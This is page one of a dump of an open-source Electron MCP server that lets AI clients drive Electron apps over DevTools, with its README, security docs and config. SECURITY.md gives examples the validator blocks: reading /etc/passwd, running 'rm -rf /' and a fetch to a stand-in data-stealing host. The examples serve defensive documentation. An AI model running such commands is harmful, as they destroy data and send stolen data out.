#
tokens: 47025/50000 43/46 files (page 1/2)
lines: off (toggle) GitHub
raw markdown copy
This is page 1 of 2. Use http://codebase.md/halilural/electron-mcp-server?page={x} to view the full context.

# Directory Structure

```
├── .env.example
├── .gitignore
├── .npmignore
├── .prettierignore
├── .prettierrc
├── assets
│   └── demo.mp4
├── eslint.config.ts
├── ISSUE_TEMPLATE.md
├── LICENSE
├── MCP_USAGE_GUIDE.md
├── mcp-config.json
├── package-lock.json
├── package.json
├── REACT_COMPATIBILITY_ISSUES.md
├── README.md
├── SECURITY_CONFIG.md
├── SECURITY.md
├── src
│   ├── handlers.ts
│   ├── index.ts
│   ├── schemas.ts
│   ├── screenshot.ts
│   ├── security
│   │   ├── audit.ts
│   │   ├── config.ts
│   │   ├── manager.ts
│   │   ├── sandbox.ts
│   │   └── validation.ts
│   ├── tools.ts
│   └── utils
│       ├── electron-commands.ts
│       ├── electron-connection.ts
│       ├── electron-discovery.ts
│       ├── electron-enhanced-commands.ts
│       ├── electron-input-commands.ts
│       ├── electron-logs.ts
│       ├── electron-process.ts
│       ├── logger.ts
│       ├── logs.ts
│       └── project.ts
├── tests
│   ├── conftest.ts
│   ├── integration
│   │   ├── electron-security-integration.test.ts
│   │   └── react-compatibility
│   │       ├── react-test-app.html
│   │       ├── README.md
│   │       └── test-react-electron.cjs
│   ├── support
│   │   ├── config.ts
│   │   ├── helpers.ts
│   │   └── setup.ts
│   └── unit
│       └── security-manager.test.ts
├── tsconfig.json
├── vitest.config.ts
└── webpack.config.ts
```

# Files

--------------------------------------------------------------------------------
/.prettierrc:
--------------------------------------------------------------------------------

```
{
  "semi": true,
  "singleQuote": true,
  "printWidth": 100,
  "tabWidth": 2,
  "trailingComma": "all"
}

```

--------------------------------------------------------------------------------
/.prettierignore:
--------------------------------------------------------------------------------

```
# Dependencies
node_modules/

# Build outputs
dist/
build/

# Coverage reports
coverage/

# Logs
*.log
logs/

# OS files
.DS_Store
Thumbs.db

# IDE files
.vscode/
.idea/

# Package manager files
package-lock.json
yarn.lock
pnpm-lock.yaml

```

--------------------------------------------------------------------------------
/.npmignore:
--------------------------------------------------------------------------------

```
# Source files (only publish dist)
src/
tsconfig.json
vitest.config.ts

# Development files
.vscode/
test/
example-app
example-app-2
tools/

# Test and debug files
test-*.js
*-test.js
*-debug.js

# CI/CD
.github/

# IDE
.idea/
*.swp
*.swo

# OS
.DS_Store
Thumbs.db

# Logs
*.log
npm-debug.log*

# Dependencies
node_modules/

# Coverage
coverage/

```

--------------------------------------------------------------------------------
/.env.example:
--------------------------------------------------------------------------------

```
# Electron MCP Server Environment Configuration
# Copy this file to .env and configure the values for your environment

# =============================================================================
# LOGGING CONFIGURATION
# =============================================================================

# Set the log level for the MCP server (used in src/utils/logger.ts)
# Options: DEBUG, INFO, WARN, ERROR
# Default: INFO if not set
MCP_LOG_LEVEL=INFO

# =============================================================================
# SECURITY CONFIGURATION (REQUIRED)
# =============================================================================

# Security level for the MCP server (used in src/security/config.ts)
# Options: strict, balanced, permissive, development
# Default: balanced if not set
# - strict: Maximum security - blocks most function calls
# - balanced: Default - allows safe UI interactions
# - permissive: Minimal restrictions - allows more operations
# - development: Least restrictive - for development/testing only
SECURITY_LEVEL=balanced

# Encryption key for screenshot data (OPTIONAL - fallback available)
# If not set, a temporary key will be generated for each session
# For production use, set this to a secure 32-byte hex string
# Must be at least 32 characters long for security
# Generate a secure key with: openssl rand -hex 32
# WARNING: Without a persistent key, encrypted screenshots cannot be decrypted after restart
SCREENSHOT_ENCRYPTION_KEY=your-32-byte-hex-string-here

```

--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------

```
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
.pnpm-debug.log*

# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json

# Runtime data
pids
*.pid
*.seed
*.pid.lock

# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov

# Coverage directory used by tools like istanbul
coverage
*.lcov

# nyc test coverage
.nyc_output

# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
.grunt

# Bower dependency directory (https://bower.io/)
bower_components

# node-waf configuration
.lock-wscript

# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release

# Dependency directories
node_modules/
jspm_packages/

# Snowpack dependency directory (https://snowpack.dev/)
web_modules/

# TypeScript cache
*.tsbuildinfo

# Optional npm cache directory
.npm

# Optional eslint cache
.eslintcache

# Optional stylelint cache
.stylelintcache

# Microbundle cache
.rpt2_cache/
.rts2_cache_cjs/
.rts2_cache_es/
.rts2_cache_umd/

# Optional REPL history
.node_repl_history

# Output of 'npm pack'
*.tgz

# Yarn Integrity file
.yarn-integrity

# dotenv environment variable files
.env
.env.development.local
.env.test.local
.env.production.local
.env.local

# parcel-bundler cache (https://parceljs.org/)
.cache
.parcel-cache

# Next.js build output
.next
out

# Nuxt.js build / generate output
.nuxt
dist

# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and not Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public

# vuepress build output
.vuepress/dist

# vuepress v2.x temp and cache directory
.temp
.cache

# Docusaurus cache and generated files
.docusaurus

# Serverless directories
.serverless/

# FuseBox cache
.fusebox/

# DynamoDB Local files
.dynamodb/

# TernJS port file
.tern-port

# Stores VSCode versions used for testing VSCode extensions
.vscode-test

# yarn v2
.yarn/cache
.yarn/unplugged
.yarn/build-state.yml
.yarn/install-state.gz
.pnp.*

# Build output
dist/
build/
lib/

# TypeScript output
*.d.ts

# Electron specific
out/
dist_electron/

# Testing
test-results/
coverage/
.nyc_output/
test-temp/
temp/

# Example App
example-app
example-app-2

# IDE
.vscode/
.idea/
*.swp
*.swo

# OS
.DS_Store
Thumbs.db

```

--------------------------------------------------------------------------------
/tests/integration/react-compatibility/README.md:
--------------------------------------------------------------------------------

```markdown
# React Compatibility Tests

This directory contains test files for validating React compatibility with the Electron MCP Server.

## Files

### `react-test-app.html`
A comprehensive React test application that demonstrates:
- Click command compatibility with `preventDefault()` behavior
- Form input detection and filling capabilities  
- Various React event handling patterns
- Multiple input types (text, email, password, number, textarea)

### `test-react-electron.cjs`
Electron wrapper application that:
- Loads the React test app in an Electron window
- Enables remote debugging on port 9222 for MCP server connection
- Provides a controlled test environment

## Usage

### Running the Test App
```bash
# From the project root
cd tests/integration/react-compatibility
electron test-react-electron.cjs
```

### Testing with MCP Server
Once the Electron app is running, you can test MCP commands:

```bash
# Test click commands
echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "React Button"}}}}' | node ../../../dist/index.js

# Test form input filling
echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node ../../../dist/index.js

# Get page structure
echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node ../../../dist/index.js
```

## Test Scenarios

### Issue 1: Click Commands with preventDefault
- **React Button (preventDefault)**: Tests click commands on React components that call `e.preventDefault()`
- **Normal Button**: Tests click commands without preventDefault  
- **Stop Propagation Button**: Tests click commands with `e.stopPropagation()`

### Issue 3: Form Input Detection
- **Username Field**: Text input with label and placeholder
- **Email Field**: Email input type validation
- **Password Field**: Password input type
- **Age Field**: Number input type
- **Comments Field**: Textarea element

All form inputs test the scoring algorithm in `electron-input-commands.ts` for React-rendered elements.

## Expected Results

✅ All click commands should work (preventDefault fix applied)  
✅ All form inputs should be detected and fillable  
✅ Page structure should show all React-rendered elements  
✅ No "Click events were cancelled by the page" errors  
✅ No "No suitable input found" errors

```

--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------

```markdown
# Electron MCP Server

[![GitHub license](https://img.shields.io/github/license/halilural/electron-mcp-server)](https://github.com/halilural/electron-mcp-server/blob/master/LICENSE)
[![npm version](https://img.shields.io/npm/v/electron-mcp-server)](https://www.npmjs.com/package/electron-mcp-server)
[![MCP](https://img.shields.io/badge/MCP-Model%20Context%20Protocol-blue)](https://modelcontextprotocol.io)

A powerful Model Context Protocol (MCP) server that provides comprehensive Electron application automation, debugging, and observability capabilities. Supercharge your Electron development workflow with AI-powered automation through Chrome DevTools Protocol integration.

## Demo

See the Electron MCP Server in action:

[![Watch Demo Video](https://vumbnail.com/1104937830.jpg)](https://vimeo.com/1104937830)

**[🎬 Watch Full Demo on Vimeo](https://vimeo.com/1104937830)**

*Watch how easy it is to automate Electron applications with AI-powered MCP commands.*

## 🎯 What Makes This Special

Transform your Electron development experience with **AI-powered automation**:

- **🔄 Real-time UI Automation**: Click buttons, fill forms, and interact with any Electron app programmatically
- **📸 Visual Debugging**: Take screenshots and capture application state without interrupting development
- **🔍 Deep Inspection**: Extract DOM elements, application data, and performance metrics in real-time
- **⚡ DevTools Protocol Integration**: Universal compatibility with any Electron app - no modifications required
- **🚀 Development Observability**: Monitor logs, system info, and application behavior seamlessly

## 🔒 Security & Configuration

**Configurable security levels** to balance safety with functionality:

### Security Levels

- **🔒 STRICT**: Maximum security for production environments
- **⚖️ BALANCED**: Default security with safe UI interactions (recommended)
- **🔓 PERMISSIVE**: More functionality for trusted environments
- **🛠️ DEVELOPMENT**: Minimal restrictions for development/testing

### Environment Configuration

Configure the security level and other settings through your MCP client configuration:

**VS Code MCP Settings:**
```json
{
  "mcp": {
    "servers": {
      "electron": {
        "command": "npx",
        "args": ["-y", "electron-mcp-server"],
        "env": {
          "SECURITY_LEVEL": "balanced",
          "SCREENSHOT_ENCRYPTION_KEY":"your-32-byte-hex-string"
        }
      }
    }
  }
}
```

**Claude Desktop Configuration:**
```json
{
  "mcpServers": {
    "electron": {
      "command": "npx",
      "args": ["-y", "electron-mcp-server"],
      "env": {
        "SECURITY_LEVEL": "balanced",
        "SCREENSHOT_ENCRYPTION_KEY":"your-32-byte-hex-string"
      }
    }
  }
}
```

**Alternative: Local .env file (for development):**
```bash
# Create .env file in your project directory
SECURITY_LEVEL=balanced
SCREENSHOT_ENCRYPTION_KEY=your-32-byte-hex-string
```

**Security Level Behaviors:**

| Level | UI Interactions | DOM Queries | Property Access | Assignments | Function Calls | Risk Threshold |
|-------|-----------------|-------------|-----------------|-------------|----------------|----------------|
| `strict` | ❌ Blocked | ❌ Blocked | ✅ Allowed | ❌ Blocked | ❌ None allowed | Low |
| `balanced` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ❌ Blocked | ✅ Safe UI functions | Medium |
| `permissive` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Extended UI functions | High |
| `development` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ All functions | Critical |

**Environment Setup:**

1. Copy `.env.example` to `.env`
2. Set `SECURITY_LEVEL` to your desired level
3. Configure other security settings as needed

```bash
cp .env.example .env
# Edit .env and set SECURITY_LEVEL=balanced
```

### Secure UI Interaction Commands

Instead of raw JavaScript eval, use these secure commands:

```javascript
// ✅ Secure button clicking
{
  "command": "click_by_text",
  "args": { "text": "Create New Encyclopedia" }
}

// ✅ Secure element selection
{
  "command": "click_by_selector",
  "args": { "selector": "button[title='Create']" }
}

// ✅ Secure keyboard shortcuts
{
  "command": "send_keyboard_shortcut",
  "args": { "text": "Ctrl+N" }
}

// ✅ Secure navigation
{
  "command": "navigate_to_hash",
  "args": { "text": "create" }
}
```

See [SECURITY_CONFIG.md](./SECURITY_CONFIG.md) for detailed security documentation.

## 🎯 Proper MCP Usage Guide

### ⚠️ Critical: Argument Structure

**The most common mistake** when using this MCP server is incorrect argument structure for the `send_command_to_electron` tool.

#### ❌ Wrong (causes "selector is empty" errors):

```javascript
{
  "command": "click_by_selector",
  "args": "button.submit-btn"  // ❌ Raw string - WRONG!
}
```

#### ✅ Correct:

```javascript
{
  "command": "click_by_selector",
  "args": {
    "selector": "button.submit-btn"  // ✅ Object with selector property
  }
}
```

### 📋 Command Argument Reference

| Command                                 | Required Args                                                                       | Example                                          |
| --------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------ |
| `click_by_selector`                     | `{"selector": "css-selector"}`                                                      | `{"selector": "button.primary"}`                 |
| `click_by_text`                         | `{"text": "button text"}`                                                           | `{"text": "Submit"}`                             |
| `fill_input`                            | `{"value": "text", "selector": "..."}` or `{"value": "text", "placeholder": "..."}` | `{"placeholder": "Enter name", "value": "John"}` |
| `send_keyboard_shortcut`                | `{"text": "key combination"}`                                                       | `{"text": "Ctrl+N"}`                             |
| `eval`                                  | `{"code": "javascript"}`                                                            | `{"code": "document.title"}`                     |
| `get_title`, `get_url`, `get_body_text` | No args needed                                                                      | `{}` or omit args                                |

### 🔄 Recommended Workflow

1. **Inspect**: Start with `get_page_structure` or `debug_elements`
2. **Target**: Use specific selectors or text-based targeting
3. **Interact**: Use the appropriate command with correct argument structure
4. **Verify**: Take screenshots or check page state

```javascript
// Step 1: Understand the page
{
  "command": "get_page_structure"
}

// Step 2: Click button using text (most reliable)
{
  "command": "click_by_text",
  "args": {
    "text": "Create New Encyclopedia"
  }
}

// Step 3: Fill form field
{
  "command": "fill_input",
  "args": {
    "placeholder": "Enter encyclopedia name",
    "value": "AI and Machine Learning"
  }
}

// Step 4: Submit with selector
{
  "command": "click_by_selector",
  "args": {
    "selector": "button[type='submit']"
  }
}
```

### 🐛 Troubleshooting Common Issues

| Error                            | Cause                            | Solution                       |
| -------------------------------- | -------------------------------- | ------------------------------ |
| "The provided selector is empty" | Passing string instead of object | Use `{"selector": "..."}`      |
| "Element not found"              | Wrong selector                   | Use `get_page_structure` first |
| "Command blocked"                | Security restriction             | Check security level settings  |
| "Click prevented - too soon"     | Rapid consecutive clicks         | Wait before retrying           |

## 🛠️ Security Features

**Enterprise-grade security** built for safe AI-powered automation:

- **🔒 Sandboxed Execution**: All code runs in isolated environments with strict resource limits
- **🔍 Input Validation**: Advanced static analysis detects and blocks dangerous code patterns
- **📝 Comprehensive Auditing**: Encrypted logs track all operations with full traceability
- **🖼️ Secure Screenshots**: Encrypted screenshot data with clear user notifications
- **⚠️ Risk Assessment**: Automatic threat detection with configurable security thresholds
- **🚫 Zero Trust**: Dangerous functions like `eval`, file system access, and network requests are blocked by default

> **Safety First**: Every command is analyzed, validated, and executed in a secure sandbox before reaching your application.

## �🚀 Key Features

### 🎮 Application Control & Automation

- **Launch & Manage**: Start, stop, and monitor Electron applications with full lifecycle control
- **Interactive Automation**: Execute JavaScript code directly in running applications via WebSocket
- **UI Testing**: Automate button clicks, form interactions, and user workflows
- **Process Management**: Track PIDs, monitor resource usage, and handle graceful shutdowns

### 📊 Advanced Observability

- **Screenshot Capture**: Non-intrusive visual snapshots using Playwright and Chrome DevTools Protocol
- **Real-time Logs**: Stream application logs (main process, renderer, console) with filtering
- **Window Information**: Get detailed window metadata, titles, URLs, and target information
- **System Monitoring**: Track memory usage, uptime, and performance metrics

### 🛠️ Development Productivity

- **Universal Compatibility**: Works with any Electron app without requiring code modifications
- **DevTools Integration**: Leverage Chrome DevTools Protocol for powerful debugging capabilities
- **Build Automation**: Cross-platform building for Windows, macOS, and Linux
- **Environment Management**: Clean environment handling and debugging port configuration

## 📦 Installation

### VS Code Integration (Recommended)

[![Install with NPX in VS Code](https://img.shields.io/badge/VS_Code-Install_MCP-0098FF?style=flat-square&logo=visualstudiocode&logoColor=white)](https://insiders.vscode.dev/redirect/mcp/install?name=electron&config=%7B%22command%22%3A%22npx%22%2C%22args%22%3A%5B%22-y%22%2C%22electron-mcp-server%22%5D%7D)

Add to your VS Code MCP settings:

```json
{
  "mcp": {
    "servers": {
      "electron": {
        "command": "npx",
        "args": ["-y", "electron-mcp-server"],
        "env": {
          "SECURITY_LEVEL": "balanced",
          "SCREENSHOT_ENCRYPTION_KEY": "your-32-byte-hex-string-here"
        }
      }
    }
  }
}
```

### Claude Desktop Integration

Add to `~/Library/Application Support/Claude/claude_desktop_config.json`:

```json
{
  "mcpServers": {
    "electron": {
      "command": "npx",
      "args": ["-y", "electron-mcp-server"],
      "env": {
        "SECURITY_LEVEL": "balanced",
        "SCREENSHOT_ENCRYPTION_KEY": "your-32-byte-hex-string-here"
      }
    }
  }
}
```

### Global Installation

```bash
npm install -g electron-mcp-server
```

## 🔧 Available Tools

### `launch_electron_app`

Launch an Electron application with debugging capabilities.

```javascript
{
  "appPath": "/path/to/electron-app",
  "devMode": true,  // Enables Chrome DevTools Protocol on port 9222
  "args": ["--enable-logging", "--dev"]
}
```

**Returns**: Process ID and launch confirmation

### `get_electron_window_info`

Get comprehensive window and target information via Chrome DevTools Protocol.

```javascript
{
  "includeChildren": true  // Include child windows and DevTools instances
}
```

**Returns**:

- Window IDs, titles, URLs, and types
- DevTools Protocol target information
- Platform details and process information

### `take_screenshot`

Capture high-quality screenshots using Playwright and Chrome DevTools Protocol.

```javascript
{
  "outputPath": "/path/to/screenshot.png",  // Optional: defaults to temp directory
  "windowTitle": "My App"  // Optional: target specific window
}
```

**Features**:

- Non-intrusive capture (doesn't bring window to front)
- Works with any Electron app
- Fallback to platform-specific tools if needed

### `send_command_to_electron`

Execute JavaScript commands in the running Electron application via WebSocket.

```javascript
{
  "command": "eval",  // Built-in commands: eval, get_title, get_url, click_button, console_log
  "args": {
    "code": "document.querySelector('button').click(); 'Button clicked!'"
  }
}
```

**Enhanced UI Interaction Commands**:

- `find_elements`: Analyze all interactive UI elements with their properties and positions
- `click_by_text`: Click elements by their visible text, aria-label, or title (more reliable than selectors)
- `fill_input`: Fill input fields by selector, placeholder text, or associated label text
- `select_option`: Select dropdown options by value or visible text
- `get_page_structure`: Get organized overview of all page elements (buttons, inputs, selects, links)
- `get_title`: Get document title
- `get_url`: Get current URL
- `get_body_text`: Extract visible text content
- `click_button`: Click buttons by CSS selector (basic method)
- `console_log`: Send console messages
- `eval`: Execute custom JavaScript code

**Recommended workflow**: Use `get_page_structure` first to understand available elements, then use specific interaction commands like `click_by_text` or `fill_input`.

### `read_electron_logs`

Stream application logs from main process, renderer, and console.

```javascript
{
  "logType": "all",  // Options: "all", "main", "renderer", "console"
  "lines": 50,       // Number of recent lines
  "follow": false    // Stream live logs
}
```

### `close_electron_app`

Gracefully close the Electron application.

```javascript
{
  "force": false  // Force kill if unresponsive
}
```

### `build_electron_app`

Build Electron applications for distribution.

```javascript
{
  "projectPath": "/path/to/project",
  "platform": "darwin",  // win32, darwin, linux
  "arch": "x64",         // x64, arm64, ia32
  "debug": false
}
```

## 💡 Usage Examples

### Smart UI Interaction Workflow

```javascript
// 1. First, understand the page structure
await send_command_to_electron({
  command: 'get_page_structure',
});

// 2. Click a button by its text (much more reliable than selectors)
await send_command_to_electron({
  command: 'click_by_text',
  args: {
    text: 'Login', // Finds buttons containing "Login" in text, aria-label, or title
  },
});

// 3. Fill inputs by their label or placeholder text
await send_command_to_electron({
  command: 'fill_input',
  args: {
    text: 'username', // Finds input with label "Username" or placeholder "Enter username"
    value: '[email protected]',
  },
});

await send_command_to_electron({
  command: 'fill_input',
  args: {
    text: 'password',
    value: 'secretpassword',
  },
});

// 4. Select dropdown options by visible text
await send_command_to_electron({
  command: 'select_option',
  args: {
    text: 'country', // Finds select with label containing "country"
    value: 'United States', // Selects option with this text
  },
});

// 5. Take a screenshot to verify the result
await take_screenshot();
```

### Advanced Element Detection

```javascript
// Find all interactive elements with detailed information
await send_command_to_electron({
  command: 'find_elements',
});

// This returns detailed info about every clickable element and input:
// {
//   "type": "clickable",
//   "text": "Submit Form",
//   "id": "submit-btn",
//   "className": "btn btn-primary",
//   "ariaLabel": "Submit the registration form",
//   "position": { "x": 100, "y": 200, "width": 120, "height": 40 },
//   "visible": true
// }
```

### Automated UI Testing

```javascript
// Launch app in development mode
await launch_electron_app({
  appPath: '/path/to/app',
  devMode: true,
});

// Take a screenshot
await take_screenshot();

// Click a button programmatically
await send_command_to_electron({
  command: 'eval',
  args: {
    code: "document.querySelector('#submit-btn').click()",
  },
});

// Verify the result
await send_command_to_electron({
  command: 'get_title',
});
```

### Development Debugging

```javascript
// Get window information
const windowInfo = await get_electron_window_info();

// Extract application data
await send_command_to_electron({
  command: 'eval',
  args: {
    code: 'JSON.stringify(window.appState, null, 2)',
  },
});

// Monitor logs
await read_electron_logs({
  logType: 'all',
  lines: 100,
});
```

### Performance Monitoring

```javascript
// Get system information
await send_command_to_electron({
  command: 'eval',
  args: {
    code: '({memory: performance.memory, timing: performance.timing})',
  },
});

// Take periodic screenshots for visual regression testing
await take_screenshot({
  outputPath: '/tests/screenshots/current.png',
});
```

## 🏗️ Architecture

### Chrome DevTools Protocol Integration

- **Universal Compatibility**: Works with any Electron app that has remote debugging enabled
- **Real-time Communication**: WebSocket-based command execution with the renderer process
- **No App Modifications**: Zero changes required to target applications

### Process Management

- **Clean Environment**: Handles `ELECTRON_RUN_AS_NODE` and other environment variables
- **Resource Tracking**: Monitors PIDs, memory usage, and application lifecycle
- **Graceful Shutdown**: Proper cleanup and process termination

### Cross-Platform Support

- **macOS**: Uses Playwright CDP with screencapture fallback
- **Windows**: PowerShell-based window detection and capture
- **Linux**: X11 window management (planned)

## 🧪 Development

### Prerequisites

- Node.js 18+
- TypeScript 4.5+
- **Electron** - Required for running and testing Electron applications

  ```bash
  # Install Electron globally (recommended)
  npm install -g electron

  # Or install locally in your project
  npm install electron --save-dev
  ```

### Target Application Setup

For the MCP server to work with your Electron application, you need to enable remote debugging. Add this code to your Electron app's main process:

```javascript
const { app } = require('electron');
const isDev = process.env.NODE_ENV === 'development' || process.argv.includes('--dev');

// Enable remote debugging in development mode
if (isDev) {
  app.commandLine.appendSwitch('remote-debugging-port', '9222');
}
```

**Alternative approaches:**

```bash
# Launch your app with debugging enabled
electron . --remote-debugging-port=9222

# Or via npm script
npm run dev -- --remote-debugging-port=9222
```

**Note:** The MCP server automatically scans ports 9222-9225 to detect running Electron applications with remote debugging enabled.

### Setup

```bash
git clone https://github.com/halilural/electron-mcp-server.git
cd electron-mcp-server

npm install
npm run build

# Run tests
npm test

# Development mode with auto-rebuild
npm run dev
```

### Testing

The project includes comprehensive test files for React compatibility:

```bash
# Run React compatibility tests
cd tests/integration/react-compatibility
electron test-react-electron.js
```

See [`tests/integration/react-compatibility/README.md`](tests/integration/react-compatibility/README.md) for detailed testing instructions and scenarios.

### React Compatibility

This MCP server has been thoroughly tested with React applications and handles common React patterns correctly:

- **✅ React Event Handling**: Properly handles `preventDefault()` in click handlers
- **✅ Form Input Detection**: Advanced scoring algorithm works with React-rendered inputs
- **✅ Component Interaction**: Compatible with React components, hooks, and state management

### Project Structure

```
src/
├── handlers.ts      # MCP tool handlers
├── index.ts         # Server entry point
├── tools.ts         # Tool definitions
├── screenshot.ts    # Screenshot functionality
├── utils/
│   ├── process.ts   # Process management & DevTools Protocol
│   ├── logs.ts      # Log management
│   └── project.ts   # Project scaffolding
└── schemas/         # JSON schemas for validation
```

## 🔐 Security & Best Practices

- **Sandboxed Execution**: All JavaScript execution is contained within the target Electron app
- **Path Validation**: Only operates on explicitly provided application paths
- **Process Isolation**: Each launched app runs in its own process space
- **No Persistent Access**: No permanent modifications to target applications

## 🤝 Contributing

We welcome contributions! Please see our [Contributing Guide](CONTRIBUTING.md) for details.

**Before reporting issues**: Please use the standardized [`ISSUE_TEMPLATE.md`](ISSUE_TEMPLATE.md) for proper bug reporting format. For React compatibility problems or similar technical issues, also review [`REACT_COMPATIBILITY_ISSUES.md`](REACT_COMPATIBILITY_ISSUES.md) for detailed debugging examples, including proper command examples, error outputs, and reproduction steps.

1. Fork the repository
2. Create a feature branch (`git checkout -b feature/awesome-feature`)
3. Commit your changes (`git commit -m 'Add awesome feature'`)
4. Push to the branch (`git push origin feature/awesome-feature`)
5. Open a Pull Request

## 📄 License

MIT License - see [LICENSE](LICENSE) file for details.

## ☕ Support

If this project helped you, consider buying me a coffee! ☕

[![Ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/halilural)

Your support helps me maintain and improve this project. Thank you! 🙏

## 🙏 Acknowledgments

- **[Model Context Protocol](https://modelcontextprotocol.io)** - Standardized AI-application interface
- **[Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/)** - Universal debugging interface
- **[Playwright](https://playwright.dev)** - Reliable browser automation
- **[Electron](https://electronjs.org)** - Cross-platform desktop applications

## 🔗 Links

- **[GitHub Repository](https://github.com/halilural/electron-mcp-server)**
- **[NPM Package](https://www.npmjs.com/package/electron-mcp-server)**
- **[Model Context Protocol](https://modelcontextprotocol.io)**
- **[Chrome DevTools Protocol Docs](https://chromedevtools.github.io/devtools-protocol/)**
- **[Issue Template](./ISSUE_TEMPLATE.md)** - Standardized bug reporting format
- **[React Compatibility Issues Documentation](./REACT_COMPATIBILITY_ISSUES.md)** - Technical debugging guide for React applications

---

**Ready to supercharge your Electron development with AI-powered automation?** Install the MCP server and start building smarter workflows today! 🚀

```

--------------------------------------------------------------------------------
/SECURITY.md:
--------------------------------------------------------------------------------

```markdown
# Security Implementation

This document describes the security measures implemented in the Electron MCP Server to ensure safe execution of AI-generated commands.

## 🛡️ Security Features

### 1. Code Execution Isolation
- **Sandboxed Environment**: All JavaScript code execution is isolated using a secure Node.js subprocess
- **Resource Limits**: 
  - Maximum execution time: 5 seconds
  - Memory limit: 50MB
  - No filesystem access unless explicitly needed
  - No network access by default
- **Global Restriction**: Dangerous globals like `process`, `require`, `fs` are disabled in the sandbox

### 2. Input Validation & Sanitization
- **Static Analysis**: Commands are analyzed for dangerous patterns before execution
- **Blacklisted Functions**: Blocks dangerous functions like `eval`, `Function`, `require`, etc.
- **Pattern Detection**: Detects potential XSS, injection, and obfuscation attempts
- **Risk Assessment**: All commands are assigned a risk level (low/medium/high/critical)
- **Command Sanitization**: Dangerous content is escaped or removed

### 3. Comprehensive Audit Logging
- **Encrypted Logs**: All execution attempts are logged with encrypted sensitive data
- **Metadata Tracking**: Logs include timestamps, risk levels, execution times, and outcomes
- **Security Events**: Failed attempts and blocked commands are specially flagged
- **Performance Metrics**: Track execution patterns for anomaly detection

### 4. Secure Screenshot Handling
- **Encryption**: Screenshot data is encrypted before storage
- **User Notification**: Clear logging when screenshots are taken
- **Data Minimization**: Screenshots are only stored temporarily
- **Secure Transmission**: Base64 data is transmitted over secure channels

## 🚨 Blocked Operations

The following operations are automatically blocked for security:

### Critical Risk Operations
- Direct `eval()` or `Function()` calls
- File system access (`fs`, `readFile`, `writeFile`)
- Process control (`spawn`, `exec`, `kill`)
- Network requests in user code
- Module loading (`require`, `import`)
- Global object manipulation

### High Risk Patterns
- Excessive string concatenation (potential obfuscation)
- Encoded content (`\\x`, `\\u` sequences)
- Script injection patterns
- Cross-site scripting attempts

## ⚙️ Configuration

Security settings can be configured via environment variables:

```bash
# Encryption
SCREENSHOT_ENCRYPTION_KEY=your-secret-key-here
```

## 📊 Security Metrics

The system tracks various security metrics:

- **Total Requests**: Number of commands processed
- **Blocked Requests**: Commands blocked due to security concerns
- **Risk Distribution**: Breakdown by risk levels
- **Average Execution Time**: Performance monitoring
- **Error Rate**: Failed execution percentage

## 🔍 Example Security Validations

### ✅ Safe Commands
```javascript
// UI interactions
document.querySelector('#button').click()

// Data extraction
document.getElementById('title').innerText

// Simple DOM manipulation
element.style.display = 'none'
```

### ❌ Blocked Commands
```javascript
// File system access
require('fs').readFileSync('/etc/passwd')

// Code execution
eval('malicious code')

// Process control
require('child_process').exec('rm -rf /')

// Network access
fetch('http://malicious-site.com/steal-data')
```

## 🛠️ Development Guidelines

When extending the MCP server:

1. **Always validate input** before processing
2. **Log security events** for audit trails
3. **Test with malicious inputs** to verify security
4. **Follow principle of least privilege**
5. **Keep security dependencies updated**

## 📝 Security Audit Trail

All security events are logged to `logs/security/` with the following information:

- Timestamp and session ID
- Command content (encrypted if sensitive)
- Risk assessment results
- Execution outcome
- User context (if available)
- Performance metrics

**Note**: This security implementation provides strong protection against common threats, but security is an ongoing process. Regular security audits and updates are recommended.

```

--------------------------------------------------------------------------------
/src/utils/logs.ts:
--------------------------------------------------------------------------------

```typescript
import { getElectronLogs } from './electron-process';

// Helper function to read Electron logs
export async function readElectronLogs(
  logType: string = 'all',
  lines: number = 100,
): Promise<string[]> {
  const allLogs = getElectronLogs();

  const relevantLogs = allLogs
    .filter((log) => {
      if (logType === 'all') return true;
      if (logType === 'console') return log.includes('[Console]');
      if (logType === 'main') return log.includes('[Main]');
      if (logType === 'renderer') return log.includes('[Renderer]');
      return true;
    })
    .slice(-lines);

  return relevantLogs;
}

```

--------------------------------------------------------------------------------
/tsconfig.json:
--------------------------------------------------------------------------------

```json
{
  "compilerOptions": {
    "target": "ES2022",
    "module": "ESNext",
    "moduleResolution": "Node",
    "esModuleInterop": true,
    "allowSyntheticDefaultImports": true,
    "strict": true,
    "skipLibCheck": true,
    "forceConsistentCasingInFileNames": true,
    "declaration": true,
    "outDir": "./dist",
    "rootDir": "./src",
    "resolveJsonModule": true,
    "allowImportingTsExtensions": false,
    "noEmit": false,
    "moduleDetection": "force",
    "baseUrl": "./src",
    "paths": {
      "*": ["*"]
    }
  },
  "include": ["src/**/*"],
  "exclude": ["node_modules", "dist", "**/*.test.ts"]
}

```

--------------------------------------------------------------------------------
/tests/conftest.ts:
--------------------------------------------------------------------------------

```typescript
/**
 * Global test configuration - similar to Python's conftest.py
 * This file contains global test setup, fixtures, and configuration
 * that applies to all test files in the project.
 */

import { beforeAll, afterAll } from 'vitest';
import { GlobalTestSetup } from './support/setup';

// Global test setup that runs once before all tests
beforeAll(async () => {
  await GlobalTestSetup.initialize();
